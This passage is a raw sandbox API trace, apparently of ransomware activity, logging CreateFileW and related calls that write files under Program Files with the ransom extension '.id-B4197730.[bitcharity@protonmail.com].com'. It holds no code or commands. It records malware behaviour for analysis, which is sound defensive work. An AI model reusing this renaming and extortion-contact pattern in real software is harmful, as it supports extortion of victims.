dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.760] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\uninstall\\uninstall.log.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\uninstall\\uninstall.log.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.760] CloseHandle (hObject=0x1278) returned 1 [0275.761] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.761] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.761] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\update-settings.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\update-settings.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.761] CloseHandle (hObject=0x1278) returned 1 [0275.762] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.762] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.762] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\updater.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\updater.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.762] CloseHandle (hObject=0x1278) returned 1 [0275.941] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.941] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.941] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.941] CloseHandle (hObject=0x10bc) returned 1 [0275.942] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.942] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.942] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.942] CloseHandle (hObject=0x10bc) returned 1 [0275.944] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.944] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.944] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.944] CloseHandle (hObject=0x10bc) returned 1 [0275.947] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.947] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.948] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.948] CloseHandle (hObject=0x10bc) returned 1 [0275.948] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.948] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.949] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.949] CloseHandle (hObject=0x10bc) returned 1 [0275.950] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.950] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.950] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.950] CloseHandle (hObject=0x10bc) returned 1 [0275.951] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.951] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.951] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.951] CloseHandle (hObject=0x10bc) returned 1 [0275.955] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.955] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.955] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.955] CloseHandle (hObject=0x10bc) returned 1 [0275.956] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.956] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.956] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.957] CloseHandle (hObject=0x10bc) returned 1 [0275.958] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.958] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.958] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.958] CloseHandle (hObject=0x10bc) returned 1 [0275.959] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.959] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.959] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.959] CloseHandle (hObject=0x10bc) returned 1 [0275.962] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.962] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.962] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.962] CloseHandle (hObject=0x10bc) returned 1 [0275.963] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.963] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.963] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.963] CloseHandle (hObject=0x10bc) returned 1 [0275.964] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.964] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.964] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.964] CloseHandle (hObject=0x10bc) returned 1 [0275.965] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.965] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.965] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.965] CloseHandle (hObject=0x10bc) returned 1 [0275.968] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.968] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.968] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.968] CloseHandle (hObject=0x10bc) returned 1 [0275.969] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.969] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.969] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.969] CloseHandle (hObject=0x10bc) returned 1 [0275.970] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.970] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.970] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.970] CloseHandle (hObject=0x10bc) returned 1 [0275.971] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.971] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.971] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.972] CloseHandle (hObject=0x10bc) returned 1 [0275.974] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.974] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.974] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.975] CloseHandle (hObject=0x10bc) returned 1 [0275.975] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.976] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.976] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.976] CloseHandle (hObject=0x10bc) returned 1 [0275.977] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.977] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.977] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.977] CloseHandle (hObject=0x10bc) returned 1 [0275.978] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.978] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.978] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.978] CloseHandle (hObject=0x10bc) returned 1 [0276.096] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.096] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.096] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.097] CloseHandle (hObject=0x1154) returned 1 [0276.098] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.098] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.098] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.098] CloseHandle (hObject=0x1154) returned 1 [0276.101] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.101] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.101] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 